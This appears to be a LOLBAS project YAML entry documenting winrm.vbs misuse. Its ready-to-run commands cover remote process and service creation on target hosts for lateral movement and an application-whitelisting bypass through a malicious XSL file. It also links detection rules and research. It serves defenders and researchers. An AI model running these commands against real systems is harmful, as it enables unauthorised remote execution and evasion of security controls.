mirror of
https://github.com/LOLBAS-Project/LOLBAS
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58 lines
3.3 KiB
YAML
58 lines
3.3 KiB
YAML
---
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Name: winrm.vbs
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Description: Script used for manage Windows RM settings
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: 'winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -r:http://target:5985'
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Description: Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol
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Usecase: Proxy execution
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Category: Execute
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Privileges: User
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MitreID: T1216
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OperatingSystem: Windows 10, Windows 11
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- Command: 'winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k c:\windows\system32\notepad.exe"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985'
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Description: Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol
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Usecase: Proxy execution
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Category: Execute
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Privileges: Admin
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MitreID: T1216
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OperatingSystem: Windows 10, Windows 11
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- Command: '%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty'
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Description: Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.
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Usecase: Execute arbitrary, unsigned code via XSL script
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Category: AWL Bypass
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Privileges: User
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MitreID: T1220
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OperatingSystem: Windows 10, Windows 11
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Full_Path:
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- Path: C:\Windows\System32\winrm.vbs
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- Path: C:\Windows\SysWOW64\winrm.vbs
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Code_Sample:
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- Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSScripts/Payload/Slmgr.reg
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- Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSScripts/Payload/Slmgr_calc.sct
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winrm_awl_bypass.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml
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- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
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Resources:
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- Link: https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
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- Link: https://www.youtube.com/watch?v=3gz1QmiMhss
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- Link: https://github.com/enigma0x3/windows-operating-system-archaeology
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- Link: https://redcanary.com/blog/lateral-movement-winrm-wmi/
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- Link: https://twitter.com/bohops/status/994405551751815170
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- Link: https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404
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- Link: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
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Acknowledgement:
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- Person: Matt Graeber
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Handle: '@mattifestation'
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- Person: Matt Nelson
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Handle: '@enigma0x3'
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- Person: Casey Smith
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Handle: '@subtee'
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- Person: Jimmy
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Handle: '@bohops'
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- Person: Red Canary Company cc Tony Lambert
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Handle: '@redcanaryco'
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